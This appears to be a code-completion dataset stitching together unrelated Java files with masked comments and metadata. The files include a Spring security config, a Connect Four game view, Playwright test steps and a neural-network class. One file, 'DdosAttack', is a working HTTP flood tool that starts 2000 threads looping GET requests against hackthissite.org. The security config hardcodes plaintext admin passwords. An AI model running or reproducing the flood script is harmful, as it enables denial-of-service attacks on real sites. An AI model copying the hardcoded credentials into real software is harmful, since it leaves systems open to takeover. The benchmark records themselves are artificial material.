.antMatchers("/welcome*").permitAll() .and() .formLogin().loginPage("/login") .usernameParameter("username").passwordParameter("password") .and() .exceptionHandling().accessDeniedPage("/403") .and() .csrf(); http.formLogin(). defaultSuccessUrl("/welcome"). loginPage("/login"); http.authorizeRequests() .antMatchers("/welcome*").hasRole("HOOFDBEHEERDER"). and().csrf(); } // private void inloggen() // { // JsonObject obj = null; // if (this.txfEmail.getText().trim().isEmpty() || this.txfWachtwoord.getText().trim().isEmpty()) // { // lblError.setText("Gelieve een geldige combinatie in te geven."); // } else // { // String passwordEncrypted = sha256(this.txfWachtwoord.getText()); // try // { // URL url = new URL("https://studservice.hogent.be/auth/" + this.txfEmail.getText() + "/" + passwordEncrypted); // // try (InputStream is = url.openStream(); JsonReader reader = Json.createReader(is);) // { // if (reader == null) // { // lblError.setText("Gelieve een geldige combinatie in te geven."); // return; // } // obj = reader.readObject(); // } catch (IOException ex) // { // } catch (JsonParsingException jex) // { // lblError.setText("Gelieve een geldige combinatie in te geven."); // return; // } // } catch (MalformedURLException ex) // { // Logger.getLogger(LoginPaneelController.class.getName()).log(Level.SEVERE, null, ex); // } // System.out.println(obj.get("VOORNAAM")); // System.out.println(obj.get("NAAM")); // System.out.println(obj.get("FACULTEIT")); // System.out.println(obj.get("TYPE")); // System.out.println(obj.get("EMAIL")); // Beheerder user = null; // try // { // user = em.createNamedQuery("Beheerder.geefBeheerderMetEmail", Beheerder.class).setParameter("email", obj.getString("EMAIL")).getSingleResult(); // } catch (NoResultException nrex) // { // System.out.println("NIET GEVONDEN IN DATABANK"); // lblError.setText("U hebt niet de nodige rechten gekregen. Contacteer de hoofdbeheerder."); // return; // } // Scene scene = new Scene(new ContainerController(stage, user)); // stage.setScene(scene); // // } // } private String sha256(String base) { try { MessageDigest digest = MessageDigest.getInstance("SHA-256"); byte[] hash = digest.digest(base.getBytes("UTF-8")); StringBuffer hexString = new StringBuffer(); for (int i = 0; i < hash.length; i++) { String hex = Integer.toHexString(0xff & hash[i]); if (hex.length() == 1) { hexString.append('0'); } hexString.append(hex); } return hexString.toString(); } catch (NoSuchAlgorithmException | UnsupportedEncodingException ex) { } return ""; } }
poldepuysseleyr/catalogus-javaWeb
src/main/java/config/SecurityConfig.java
1,463
// lblError.setText("Gelieve een geldige combinatie in te geven.");
line_comment
nl
package config; import java.io.UnsupportedEncodingException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import javax.sql.DataSource; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; @Configuration @EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { @Autowired DataSource dataSource; @Autowired public void configAuthentication(AuthenticationManagerBuilder auth) throws Exception { // auth.jdbcAuthentication().dataSource(dataSource) // .usersByUsernameQuery( // "select email, wachtwoord from Beheerder where email=?"); auth.inMemoryAuthentication() .withUser("username").password("123456").roles("HOOFDBEHEERDER").and() .withUser("424698mv").password("maarten").roles("HOOFDBEHEERDER").and() .withUser("427260rv").password("remko").roles("HOOFDBEHEERDER").and() .withUser("pol").password("pol").roles("HOOFDBEHEERDER").and() .withUser("thomas").password("thomas").roles("HOOFDBEHEERDER"); } @Override protected void configure(HttpSecurity http) throws Exception { http.formLogin(). defaultSuccessUrl("/welcome"); http.authorizeRequests() .antMatchers("/welcome*").permitAll() .and() .formLogin().loginPage("/login") .usernameParameter("username").passwordParameter("password") .and() .exceptionHandling().accessDeniedPage("/403") .and() .csrf(); http.formLogin(). defaultSuccessUrl("/welcome"). loginPage("/login"); http.authorizeRequests() .antMatchers("/welcome*").hasRole("HOOFDBEHEERDER"). and().csrf(); } // private void inloggen() // { // JsonObject obj = null; // if (this.txfEmail.getText().trim().isEmpty() || this.txfWachtwoord.getText().trim().isEmpty()) // { // lblError.setText("Gelieve een geldige combinatie in te geven."); // } else // { // String passwordEncrypted = sha256(this.txfWachtwoord.getText()); // try // { // URL url = new URL("https://studservice.hogent.be/auth/" + this.txfEmail.getText() + "/" + passwordEncrypted); // // try (InputStream is = url.openStream(); JsonReader reader = Json.createReader(is);) // { // if (reader == null) // { // lblError.setText("Gelieve een<SUF> // return; // } // obj = reader.readObject(); // } catch (IOException ex) // { // } catch (JsonParsingException jex) // { // lblError.setText("Gelieve een geldige combinatie in te geven."); // return; // } // } catch (MalformedURLException ex) // { // Logger.getLogger(LoginPaneelController.class.getName()).log(Level.SEVERE, null, ex); // } // System.out.println(obj.get("VOORNAAM")); // System.out.println(obj.get("NAAM")); // System.out.println(obj.get("FACULTEIT")); // System.out.println(obj.get("TYPE")); // System.out.println(obj.get("EMAIL")); // Beheerder user = null; // try // { // user = em.createNamedQuery("Beheerder.geefBeheerderMetEmail", Beheerder.class).setParameter("email", obj.getString("EMAIL")).getSingleResult(); // } catch (NoResultException nrex) // { // System.out.println("NIET GEVONDEN IN DATABANK"); // lblError.setText("U hebt niet de nodige rechten gekregen. Contacteer de hoofdbeheerder."); // return; // } // Scene scene = new Scene(new ContainerController(stage, user)); // stage.setScene(scene); // // } // } private String sha256(String base) { try { MessageDigest digest = MessageDigest.getInstance("SHA-256"); byte[] hash = digest.digest(base.getBytes("UTF-8")); StringBuffer hexString = new StringBuffer(); for (int i = 0; i < hash.length; i++) { String hex = Integer.toHexString(0xff & hash[i]); if (hex.length() == 1) { hexString.append('0'); } hexString.append(hex); } return hexString.toString(); } catch (NoSuchAlgorithmException | UnsupportedEncodingException ex) { } return ""; } }
False
1,091
19
1,286
22
1,297
17
1,286
22
1,440
22
false
false
false
false
false
true
3,137
71137_0
package com.github.neuralnetworks.architecture.types; import java.util.Collection; import java.util.List; import com.github.neuralnetworks.architecture.Layer; import com.github.neuralnetworks.util.UniqueList; /** * Deep Belief Network */ public class DBN extends DNN<RBM> { private static final long serialVersionUID = 1L; public DBN() { super(); } @Override protected Collection<Layer> getRelevantLayers(RBM nn) { List<Layer> result = new UniqueList<Layer>(); result.addAll(nn.getLayers()); if (nn.getVisibleBiasConnections() != null) { result.remove(nn.getVisibleBiasConnections().getInputLayer()); } return result; } }
ivan-vasilev/neuralnetworks
nn-core/src/main/java/com/github/neuralnetworks/architecture/types/DBN.java
228
/** * Deep Belief Network */
block_comment
nl
package com.github.neuralnetworks.architecture.types; import java.util.Collection; import java.util.List; import com.github.neuralnetworks.architecture.Layer; import com.github.neuralnetworks.util.UniqueList; /** * Deep Belief Network<SUF>*/ public class DBN extends DNN<RBM> { private static final long serialVersionUID = 1L; public DBN() { super(); } @Override protected Collection<Layer> getRelevantLayers(RBM nn) { List<Layer> result = new UniqueList<Layer>(); result.addAll(nn.getLayers()); if (nn.getVisibleBiasConnections() != null) { result.remove(nn.getVisibleBiasConnections().getInputLayer()); } return result; } }
False
159
8
205
9
201
8
205
9
241
9
false
false
false
false
false
true
4,567
101253_22
import javax.swing.*; import java.awt.*; import java.awt.event.*; import java.awt.geom.*; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; /** * Die Klasse VIEW zeigt das Spielfeld an und interagiert mit dem Spieler. * * @author (kinder) */ public class VIEW extends JPanel { SPIELFELD spielfeld; private CONTROLLER controller; private Area spielbrett; private int breite, hoehe; // Feldbreite und -höhe private int size = 100; // Größe eines Basisquadrats // Deklariert Zwischenspeicher für (Spielstein-)Bilder private BufferedImage roterStein, gelberStein; private BufferedImage roterSteinReihe, gelberSteinReihe; private BufferedImage gelberGewinner, roterGewinner, unentschieden; private BufferedImage gelbGibtAuf, rotGibtAuf; private int spalte; // aktuell ausgewählte Spalte static boolean drawNeeded; // Stein-Vorschau zeichen - ja/nein // deklariert die für eine Siegeranzeige nötigen Variablen public boolean showWinner; private int winner; public VIEW(SPIELFELD spielfeld, CONTROLLER controller) { this.spielfeld = spielfeld; // Referenz auf Spielfeld this.controller = controller; // Referenz auf Controller breite = spielfeld.getBreite(); hoehe = spielfeld.getHoehe(); size = controller.getSize(); setPreferredSize(new Dimension(breite*size, (hoehe + 1)*size) ); // setzt bevorzugte Fenstergröße loadImages(); spielbrettMitLoecherVorbereiten(); // zeichnet leeres Spielfeld } private void loadImages() { try { roterStein = ImageIO.read(new File("textures/roter_Stein.png")); gelberStein = ImageIO.read(new File("textures/gelber_Stein.png")); roterSteinReihe = ImageIO.read(new File("textures/roter_Stein_Reihe.png")); gelberSteinReihe = ImageIO.read(new File("textures/gelber_Stein_Reihe.png")); roterGewinner = ImageIO.read(new File("textures/roter Gewinner.jpg")); gelberGewinner = ImageIO.read(new File("textures/gelber Gewinner.jpg")); unentschieden = ImageIO.read(new File("textures/unentschieden.jpg")); gelbGibtAuf = ImageIO.read(new File("textures/gelbGibtAuf.jpg")); rotGibtAuf = ImageIO.read(new File("textures/rotGibtAuf.jpg")); } catch (IOException ex) { } } public void spielbrettMitLoecherVorbereiten() { size = controller.getSize(); // deklariert und initialisiert benötigte Variablen Rectangle2D blauesFeld = new Rectangle2D.Float(0, 0 + size , breite * size, hoehe * size); Ellipse2D loch = new Ellipse2D.Double(0, 0, 0, 0); // zeichnet das leere Spielfeld spielbrett = new Area(blauesFeld); // spart die "Fenster" für die Spielsteine aus for(int i = 0; i < spielfeld.getBreite(); i++) { for(int j = 0 ; j < spielfeld.getHoehe(); j++) { loch = new Ellipse2D.Double(i * size,(-j + 5) * size + size, (size*96)/100, (size*96)/100); spielbrett.subtract(new Area(loch)); } } } // Legt fest, ob Vorschau gezeigt werden soll public void showPreview(boolean showPreview) { this.drawNeeded = showPreview; } public void paintComponent(Graphics graphics) { size = controller.getSize(); super.paintComponent(graphics); Graphics2D graphics2D = (Graphics2D) graphics; // Blaue Spielfläche mit Löchern auf schwarzem Hintergrund graphics.setColor(Color.BLACK); graphics.fillRect(0, 0 + size , breite * size, hoehe * size); int[][] s = spielfeld.getSpielfeld(); // lädt aktuelle Belegung des Spielfelds // Zeichnet Stein-Vorschau, falls drawNeeded == true if(controller.spieleramzug == 2 && drawNeeded) { graphics.drawImage(roterStein, spalte * size, 0, size, size, null); } if(controller.spieleramzug == 1 && drawNeeded) { graphics.drawImage(gelberStein, spalte * size, 0, size, size, null); } // Jetzt werden platzierte rote / gelbe Spielsteine auf dem Spielfeld gezeichnet for(int i = 0; i < spielfeld.getBreite(); i++) { for(int j = 0 ; j < spielfeld.getHoehe(); j++) { if (s[i][j] == 1) { graphics.drawImage(roterStein, i * size,(-j + 5) * size + size, size, size, null); } else if (s[i][j] == 2) { graphics.drawImage(gelberStein, i * size,(-j + 5) * size + size, size, size, null); } else if (s[i][j] == 3) { graphics.drawImage(roterSteinReihe, i * size, (-j + 5) * size + size, size, size, null); } else if (s[i][j] == 4) { graphics.drawImage(gelberSteinReihe, i * size, (-j + 5) * size + size, size, size, null); } else { graphics.setColor(Color.BLACK); } } } // Setzt die Farbe auf blau und füllt das Spielfeld aus graphics.setColor(Color.BLUE); graphics2D.fill(spielbrett); // Zeigt, wenn gewollt, den Sieger an if(showWinner) { if (winner == 1) { graphics.drawImage(roterGewinner, 0, 0, breite * size, (hoehe + 1) * size, null); } // Rot hat gewonnen else if (winner == 2) { graphics.drawImage(gelberGewinner, 0, 0, breite * size, (hoehe + 1) * size, null); } // Gelb hat gewonnen else if (winner == 3) { graphics.drawImage(gelbGibtAuf, 0, 0, breite * size, (hoehe + 1) * size, null); } // Gelb gibt auf, Rot gewinnt else if (winner == 4) { graphics.drawImage(rotGibtAuf, 0, 0, breite * size, (hoehe + 1) * size, null); } // Rot gibt auf, Gelb gewinnt else if (winner == 5) { graphics.drawImage(unentschieden, 0, 0, breite * size, (hoehe + 1) * size, null); } // Unentschieden } } // ändert die Attribute, damit der Gewinner in View ausgegeben wird public void showWinner(int winner) { this.winner = winner; showWinner = true; } // Eingabemethode für aktuell ausgewählte Spalte public void setSpalte(int xWert) { size = controller.getSize(); spalte = (xWert / size); // x-Wert außerhalb: Rückgabe des letztmöglichen x-Werts if(spalte > (breite - 1)) { spalte = breite - 1; } } public Area getSpielbrett() { return spielbrett; } }
ts12345/vier_gewinnt
VIER_GEWINNT/VIEW.java
2,247
// Gelb hat gewonnen
line_comment
nl
import javax.swing.*; import java.awt.*; import java.awt.event.*; import java.awt.geom.*; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; /** * Die Klasse VIEW zeigt das Spielfeld an und interagiert mit dem Spieler. * * @author (kinder) */ public class VIEW extends JPanel { SPIELFELD spielfeld; private CONTROLLER controller; private Area spielbrett; private int breite, hoehe; // Feldbreite und -höhe private int size = 100; // Größe eines Basisquadrats // Deklariert Zwischenspeicher für (Spielstein-)Bilder private BufferedImage roterStein, gelberStein; private BufferedImage roterSteinReihe, gelberSteinReihe; private BufferedImage gelberGewinner, roterGewinner, unentschieden; private BufferedImage gelbGibtAuf, rotGibtAuf; private int spalte; // aktuell ausgewählte Spalte static boolean drawNeeded; // Stein-Vorschau zeichen - ja/nein // deklariert die für eine Siegeranzeige nötigen Variablen public boolean showWinner; private int winner; public VIEW(SPIELFELD spielfeld, CONTROLLER controller) { this.spielfeld = spielfeld; // Referenz auf Spielfeld this.controller = controller; // Referenz auf Controller breite = spielfeld.getBreite(); hoehe = spielfeld.getHoehe(); size = controller.getSize(); setPreferredSize(new Dimension(breite*size, (hoehe + 1)*size) ); // setzt bevorzugte Fenstergröße loadImages(); spielbrettMitLoecherVorbereiten(); // zeichnet leeres Spielfeld } private void loadImages() { try { roterStein = ImageIO.read(new File("textures/roter_Stein.png")); gelberStein = ImageIO.read(new File("textures/gelber_Stein.png")); roterSteinReihe = ImageIO.read(new File("textures/roter_Stein_Reihe.png")); gelberSteinReihe = ImageIO.read(new File("textures/gelber_Stein_Reihe.png")); roterGewinner = ImageIO.read(new File("textures/roter Gewinner.jpg")); gelberGewinner = ImageIO.read(new File("textures/gelber Gewinner.jpg")); unentschieden = ImageIO.read(new File("textures/unentschieden.jpg")); gelbGibtAuf = ImageIO.read(new File("textures/gelbGibtAuf.jpg")); rotGibtAuf = ImageIO.read(new File("textures/rotGibtAuf.jpg")); } catch (IOException ex) { } } public void spielbrettMitLoecherVorbereiten() { size = controller.getSize(); // deklariert und initialisiert benötigte Variablen Rectangle2D blauesFeld = new Rectangle2D.Float(0, 0 + size , breite * size, hoehe * size); Ellipse2D loch = new Ellipse2D.Double(0, 0, 0, 0); // zeichnet das leere Spielfeld spielbrett = new Area(blauesFeld); // spart die "Fenster" für die Spielsteine aus for(int i = 0; i < spielfeld.getBreite(); i++) { for(int j = 0 ; j < spielfeld.getHoehe(); j++) { loch = new Ellipse2D.Double(i * size,(-j + 5) * size + size, (size*96)/100, (size*96)/100); spielbrett.subtract(new Area(loch)); } } } // Legt fest, ob Vorschau gezeigt werden soll public void showPreview(boolean showPreview) { this.drawNeeded = showPreview; } public void paintComponent(Graphics graphics) { size = controller.getSize(); super.paintComponent(graphics); Graphics2D graphics2D = (Graphics2D) graphics; // Blaue Spielfläche mit Löchern auf schwarzem Hintergrund graphics.setColor(Color.BLACK); graphics.fillRect(0, 0 + size , breite * size, hoehe * size); int[][] s = spielfeld.getSpielfeld(); // lädt aktuelle Belegung des Spielfelds // Zeichnet Stein-Vorschau, falls drawNeeded == true if(controller.spieleramzug == 2 && drawNeeded) { graphics.drawImage(roterStein, spalte * size, 0, size, size, null); } if(controller.spieleramzug == 1 && drawNeeded) { graphics.drawImage(gelberStein, spalte * size, 0, size, size, null); } // Jetzt werden platzierte rote / gelbe Spielsteine auf dem Spielfeld gezeichnet for(int i = 0; i < spielfeld.getBreite(); i++) { for(int j = 0 ; j < spielfeld.getHoehe(); j++) { if (s[i][j] == 1) { graphics.drawImage(roterStein, i * size,(-j + 5) * size + size, size, size, null); } else if (s[i][j] == 2) { graphics.drawImage(gelberStein, i * size,(-j + 5) * size + size, size, size, null); } else if (s[i][j] == 3) { graphics.drawImage(roterSteinReihe, i * size, (-j + 5) * size + size, size, size, null); } else if (s[i][j] == 4) { graphics.drawImage(gelberSteinReihe, i * size, (-j + 5) * size + size, size, size, null); } else { graphics.setColor(Color.BLACK); } } } // Setzt die Farbe auf blau und füllt das Spielfeld aus graphics.setColor(Color.BLUE); graphics2D.fill(spielbrett); // Zeigt, wenn gewollt, den Sieger an if(showWinner) { if (winner == 1) { graphics.drawImage(roterGewinner, 0, 0, breite * size, (hoehe + 1) * size, null); } // Rot hat gewonnen else if (winner == 2) { graphics.drawImage(gelberGewinner, 0, 0, breite * size, (hoehe + 1) * size, null); } // Gelb hat<SUF> else if (winner == 3) { graphics.drawImage(gelbGibtAuf, 0, 0, breite * size, (hoehe + 1) * size, null); } // Gelb gibt auf, Rot gewinnt else if (winner == 4) { graphics.drawImage(rotGibtAuf, 0, 0, breite * size, (hoehe + 1) * size, null); } // Rot gibt auf, Gelb gewinnt else if (winner == 5) { graphics.drawImage(unentschieden, 0, 0, breite * size, (hoehe + 1) * size, null); } // Unentschieden } } // ändert die Attribute, damit der Gewinner in View ausgegeben wird public void showWinner(int winner) { this.winner = winner; showWinner = true; } // Eingabemethode für aktuell ausgewählte Spalte public void setSpalte(int xWert) { size = controller.getSize(); spalte = (xWert / size); // x-Wert außerhalb: Rückgabe des letztmöglichen x-Werts if(spalte > (breite - 1)) { spalte = breite - 1; } } public Area getSpielbrett() { return spielbrett; } }
False
1,881
6
2,087
8
1,900
4
2,087
8
2,198
6
false
false
false
false
false
true
342
22393_3
package steps.gui.openforms; import com.microsoft.playwright.Locator; import com.microsoft.playwright.Page; import com.microsoft.playwright.options.WaitForSelectorState; import pages.openforms.GeneriekeOpenformsPage; import pages.openforms.OpenFormsPage; import steps.gui.GeneriekeSteps; import steps.gui.login.DigidLoginSteps; import users.User; import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat; public class OpenFormsSteps extends GeneriekeSteps { public final OpenFormsPage openFormsPage; protected final GeneriekeOpenformsPage genericPage; protected final DigidLoginSteps digidLoginSteps; public OpenFormsSteps(Page page) { super(page); openFormsPage = new OpenFormsPage(page); genericPage = new GeneriekeOpenformsPage(page); digidLoginSteps = new DigidLoginSteps(page); } public void navigate(String url){ page.navigate(url); } /** * Login via Digid * * @param user User */ public void login_via_digid(User user) { openFormsPage.buttonAccepteerCookies.click(); openFormsPage.inloggenDigidButton.click(); digidLoginSteps.login_via_digid(user); } /** * Valideer dat de stap als actief staat * * @param stapNaam die actief moet zijn */ public void valideer_actieve_stap(String stapNaam) { assertThat(openFormsPage.linkActiveStep).hasText(stapNaam); } /** * Valideer dat een bepaalde h1 header op het scherm staat * @param tekst */ public void controleer_h1_header_is(String tekst) { assertThat(openFormsPage.textlabelHeaderH1).hasText(tekst); } /** * Valideer dat een bepaalde h2 header op het scherm staat * @param tekst */ public void controleer_h2_header_is(String tekst) { assertThat(openFormsPage.textlabelHeaderH2).hasText(tekst); } /** * Valideer dat er een bepaalde foutmelding op het scherm staat * * @param tekst */ public void controleer_foutmelding_is_zichtbaar_met(String tekst) { assertThat(get_alert().getByText(tekst)).isVisible(); } /** * Haal de Locator op van een tekst op het scherm * * @param tekst * @return Locator waarop een actie uitgevoerd kan worden */ public Locator get_tekst(String tekst){ return page.getByText(tekst); } /** * Haal de Locator van een inputveld op * * @param tekst * @return Locator waarop een actie uitgevoerd kan worden */ public Locator get_input_veld(String tekst){ return genericPage.getInputField(tekst, false); } /** * Haal de Locator van een alert op * * @return Locator waarop een actie uitgevoerd kan worden */ public Locator get_alert(){ return page.locator("//div[contains(@role,'alert')]//div"); } /** * Valideer dat er geen foutmelding zichtbaar is op het scherm * */ public void geen_foutmelding_zichtbaar() { assertThat(page.locator("//div[@class='form-text error']")).isHidden(); } /** * Valideer dat een bepaald veld de goede waarde heeft * * @param inputName * @param prefillWaarde */ public void tekstveld_bevat_prefill_gegevens (String inputName, String prefillWaarde) { assertThat( page.locator( String.format("//input[@name='%s' and contains(@value,\"%s\")]", inputName, prefillWaarde))) .isVisible(); } /** * Valideer dat er een bepaalde foutmelding getoond wordt op het scherm * * @param locator * @param verwachteTekst */ public void validatie_toon_foutmelding(Locator locator, String verwachteTekst) { locator.blur(); locator.waitFor(new Locator.WaitForOptions().setTimeout(1000)); page.keyboard().press("Enter"); page.keyboard().press("Tab"); if (verwachteTekst == null) { geen_foutmelding_zichtbaar(); } else { controleer_foutmelding_is_zichtbaar_met(verwachteTekst); } } /** * Klik op de volgende knop * */ public void klik_volgende_knop() { wacht_op_volgende_knop_response(); klik_knop("Volgende"); } /** * Wacht totdat de validatie in de backend is uitgevoerd * */ public void wacht_op_volgende_knop_response(){ try{ page.setDefaultTimeout(2000); page.waitForResponse(res -> res.url().contains("/_check_logic"), () -> {}); } catch (Exception ex) { //ignore } finally { page.setDefaultTimeout(30000); } } /** * Haal de Locator op van de checkbox * * @param tekst * @return Locator waarop een actie uitgevoerd kan worden */ public Locator get_checkbox(String tekst){ return genericPage.getCheckbox(tekst); } /** * Selecteer een optie bij een radiobox of checkboxgroup * * @param tekst van de radio- of checkboxgroep * @param optie die geselecteerd moet worden */ public void selecteer_optie(String tekst, String optie) { genericPage.selectOption(tekst, optie); } /** * * Note that this only works on input and textarea fields * * @param veld - text of the field you want to enter the text for * @param text - text you want to enter into the field */ public void vul_tekst_in(String veld, String text) { genericPage.getInputField(veld, false).waitFor(new Locator.WaitForOptions().setTimeout(500)); genericPage.fillTextInputField(veld, text, false); } public void selecteer_login_met_digid() { openFormsPage.inloggenDigidButton.click(); } public void is_ingelogd() { openFormsPage.headerFirstFormStep.waitFor(); } public void waitUntilHeaderPageVisible() { this.openFormsPage.headerFirstFormStep.waitFor(); } public void aanvraag_zonder_DigiD_login(){ openFormsPage.aanvraagZonderDigidButton.click(); } }
CommonGround-Testing/zgw-playwright-base
src/main/java/steps/gui/openforms/OpenFormsSteps.java
1,976
/** * Valideer dat een bepaalde h2 header op het scherm staat * @param tekst */
block_comment
nl
package steps.gui.openforms; import com.microsoft.playwright.Locator; import com.microsoft.playwright.Page; import com.microsoft.playwright.options.WaitForSelectorState; import pages.openforms.GeneriekeOpenformsPage; import pages.openforms.OpenFormsPage; import steps.gui.GeneriekeSteps; import steps.gui.login.DigidLoginSteps; import users.User; import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat; public class OpenFormsSteps extends GeneriekeSteps { public final OpenFormsPage openFormsPage; protected final GeneriekeOpenformsPage genericPage; protected final DigidLoginSteps digidLoginSteps; public OpenFormsSteps(Page page) { super(page); openFormsPage = new OpenFormsPage(page); genericPage = new GeneriekeOpenformsPage(page); digidLoginSteps = new DigidLoginSteps(page); } public void navigate(String url){ page.navigate(url); } /** * Login via Digid * * @param user User */ public void login_via_digid(User user) { openFormsPage.buttonAccepteerCookies.click(); openFormsPage.inloggenDigidButton.click(); digidLoginSteps.login_via_digid(user); } /** * Valideer dat de stap als actief staat * * @param stapNaam die actief moet zijn */ public void valideer_actieve_stap(String stapNaam) { assertThat(openFormsPage.linkActiveStep).hasText(stapNaam); } /** * Valideer dat een bepaalde h1 header op het scherm staat * @param tekst */ public void controleer_h1_header_is(String tekst) { assertThat(openFormsPage.textlabelHeaderH1).hasText(tekst); } /** * Valideer dat een<SUF>*/ public void controleer_h2_header_is(String tekst) { assertThat(openFormsPage.textlabelHeaderH2).hasText(tekst); } /** * Valideer dat er een bepaalde foutmelding op het scherm staat * * @param tekst */ public void controleer_foutmelding_is_zichtbaar_met(String tekst) { assertThat(get_alert().getByText(tekst)).isVisible(); } /** * Haal de Locator op van een tekst op het scherm * * @param tekst * @return Locator waarop een actie uitgevoerd kan worden */ public Locator get_tekst(String tekst){ return page.getByText(tekst); } /** * Haal de Locator van een inputveld op * * @param tekst * @return Locator waarop een actie uitgevoerd kan worden */ public Locator get_input_veld(String tekst){ return genericPage.getInputField(tekst, false); } /** * Haal de Locator van een alert op * * @return Locator waarop een actie uitgevoerd kan worden */ public Locator get_alert(){ return page.locator("//div[contains(@role,'alert')]//div"); } /** * Valideer dat er geen foutmelding zichtbaar is op het scherm * */ public void geen_foutmelding_zichtbaar() { assertThat(page.locator("//div[@class='form-text error']")).isHidden(); } /** * Valideer dat een bepaald veld de goede waarde heeft * * @param inputName * @param prefillWaarde */ public void tekstveld_bevat_prefill_gegevens (String inputName, String prefillWaarde) { assertThat( page.locator( String.format("//input[@name='%s' and contains(@value,\"%s\")]", inputName, prefillWaarde))) .isVisible(); } /** * Valideer dat er een bepaalde foutmelding getoond wordt op het scherm * * @param locator * @param verwachteTekst */ public void validatie_toon_foutmelding(Locator locator, String verwachteTekst) { locator.blur(); locator.waitFor(new Locator.WaitForOptions().setTimeout(1000)); page.keyboard().press("Enter"); page.keyboard().press("Tab"); if (verwachteTekst == null) { geen_foutmelding_zichtbaar(); } else { controleer_foutmelding_is_zichtbaar_met(verwachteTekst); } } /** * Klik op de volgende knop * */ public void klik_volgende_knop() { wacht_op_volgende_knop_response(); klik_knop("Volgende"); } /** * Wacht totdat de validatie in de backend is uitgevoerd * */ public void wacht_op_volgende_knop_response(){ try{ page.setDefaultTimeout(2000); page.waitForResponse(res -> res.url().contains("/_check_logic"), () -> {}); } catch (Exception ex) { //ignore } finally { page.setDefaultTimeout(30000); } } /** * Haal de Locator op van de checkbox * * @param tekst * @return Locator waarop een actie uitgevoerd kan worden */ public Locator get_checkbox(String tekst){ return genericPage.getCheckbox(tekst); } /** * Selecteer een optie bij een radiobox of checkboxgroup * * @param tekst van de radio- of checkboxgroep * @param optie die geselecteerd moet worden */ public void selecteer_optie(String tekst, String optie) { genericPage.selectOption(tekst, optie); } /** * * Note that this only works on input and textarea fields * * @param veld - text of the field you want to enter the text for * @param text - text you want to enter into the field */ public void vul_tekst_in(String veld, String text) { genericPage.getInputField(veld, false).waitFor(new Locator.WaitForOptions().setTimeout(500)); genericPage.fillTextInputField(veld, text, false); } public void selecteer_login_met_digid() { openFormsPage.inloggenDigidButton.click(); } public void is_ingelogd() { openFormsPage.headerFirstFormStep.waitFor(); } public void waitUntilHeaderPageVisible() { this.openFormsPage.headerFirstFormStep.waitFor(); } public void aanvraag_zonder_DigiD_login(){ openFormsPage.aanvraagZonderDigidButton.click(); } }
True
1,523
29
1,704
29
1,711
26
1,704
29
1,991
31
false
false
false
false
false
true
3,774
13876_0
/* Author:- N4VIYA98 (Naveen Wijesinghe)! */ import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; import java.util.concurrent.atomic.AtomicBoolean; public class DdosAttack { public static void main(String[] args) throws Exception { for (int i = 0; i < 2000; i++) { DdosThread thread = new DdosThread(); thread.start(); } } public static class DdosThread extends Thread { private AtomicBoolean running = new AtomicBoolean(true); private final String request = "https://www.hackthissite.org"; private final URL url; String param = null; public DdosThread() throws Exception { url = new URL(request); param = "param1=" + URLEncoder.encode("87845", "UTF-8"); } @Override public void run() { while (running.get()) { try { attack(); } catch (Exception e) { } } } public void attack() throws Exception { HttpURLConnection connection = (HttpURLConnection) url .openConnection(); connection.setDoOutput(true); connection.setDoInput(true); connection.setRequestMethod("GET"); connection.setRequestProperty("charset", "utf-8"); connection.setRequestProperty("Host", this.request); connection .setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0"); connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); connection.setRequestProperty("Content-Length", param); System.out.println(this + " " + connection.getResponseCode()); connection.getInputStream(); } } }
naveen-98/DDOS-Java
ddos.java
515
/* Author:- N4VIYA98 (Naveen Wijesinghe)! */
block_comment
nl
/* Author:- N4VIYA98 (Naveen<SUF>*/ import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; import java.util.concurrent.atomic.AtomicBoolean; public class DdosAttack { public static void main(String[] args) throws Exception { for (int i = 0; i < 2000; i++) { DdosThread thread = new DdosThread(); thread.start(); } } public static class DdosThread extends Thread { private AtomicBoolean running = new AtomicBoolean(true); private final String request = "https://www.hackthissite.org"; private final URL url; String param = null; public DdosThread() throws Exception { url = new URL(request); param = "param1=" + URLEncoder.encode("87845", "UTF-8"); } @Override public void run() { while (running.get()) { try { attack(); } catch (Exception e) { } } } public void attack() throws Exception { HttpURLConnection connection = (HttpURLConnection) url .openConnection(); connection.setDoOutput(true); connection.setDoInput(true); connection.setRequestMethod("GET"); connection.setRequestProperty("charset", "utf-8"); connection.setRequestProperty("Host", this.request); connection .setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0"); connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); connection.setRequestProperty("Content-Length", param); System.out.println(this + " " + connection.getResponseCode()); connection.getInputStream(); } } }
False
397
20
446
22
478
20
446
22
537
23
false
false
false
false
false
true
3,152
9379_17
/************************************************************************* * Clus - Software for Predictive Clustering * * Copyright (C) 2007 * * Katholieke Universiteit Leuven, Leuven, Belgium * * Jozef Stefan Institute, Ljubljana, Slovenia * * * * This program is free software: you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation, either version 3 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program. If not, see <http://www.gnu.org/licenses/>. * * * * Contact information: <http://www.cs.kuleuven.be/~dtai/clus/>. * *************************************************************************/ package clus.algo.kNN; import clus.main.*; import clus.algo.tdidt.ClusNode; import clus.data.rows.*; import clus.statistic.ClusStatistic; import 